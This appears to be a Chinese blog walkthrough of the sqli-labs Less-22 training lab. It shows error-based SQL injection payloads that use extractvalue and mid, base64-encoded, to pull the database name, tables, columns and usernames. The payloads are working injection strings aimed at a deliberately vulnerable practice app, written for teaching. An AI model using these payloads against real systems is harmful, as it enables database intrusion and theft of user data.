该题注入手法与Less-21相似,区别在于该题注入类型为双引号注入
原理参考所给链接,本文不再详述: 【网络安全】sqli-labs Less-21 解题详析
查库名
查库名
Dumb" and extractvalue(1,concat(0x23,database()))#
这里构造"的原因可通过页面回显得出,不再赘述。
经过加密得到:
RHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDIzLGRhdGFiYXNlKCkpKSM=

可知库名为security
查表名
Dumb" and extractvalue(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema = database())))#
加密后得到:
RHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDIzLChzZWxlY3QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWEgPSBkYXRhYmFzZSgpKSkpIw==

得到四个表名
查列名
Dumb" and extractvalue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users')))#
加密后得到
RHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDIzLChzZWxlY3QgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYSA9IGRhdGFiYXNlKCkgYW5kIHRhYmxlX25hbWUgPSAndXNlcnMnKSkpIw==
得到三个列:

查数据
该姿势使用到mid函数,参考文章: mid函数原理、应用及实战讲解
以获取username列的数据为例,利用mid函数构造POC:
Dumb" and extractvalue(1,concat(0x23,mid((select group_concat(username) from users),1,32)))#
加密后得到:
RHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDIzLG1pZCgoc2VsZWN0IGdyb3VwX2NvbmNhdCh1c2VybmFtZSkgZnJvbSB1c2VycyksMSwzMikpKSM=
结果如图:

接着,我们提取从第 32 个字符开始的长度为 32 的子字符串:
POC如下:
Dumb" and extractvalue(1,concat(0x23,mid((select group_concat(username) from security.users),32,32)))#
加密后得到:
RHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDIzLG1pZCgoc2VsZWN0IGdyb3VwX2NvbmNhdCh1c2VybmFtZSkgZnJvbSBzZWN1cml0eS51c2VycyksMzIsMzIpKSkj
结果如图:

本文解析了SQLi-Labs Less-22的解题过程,通过报错注入、使用extractvalue和mid函数获取数据库信息,包括库名、表名、列名及数据。详细介绍了如何利用特定姿势获取敏感信息,并涉及base64加密的处理方式。
8194

被折叠的 条评论
为什么被折叠?



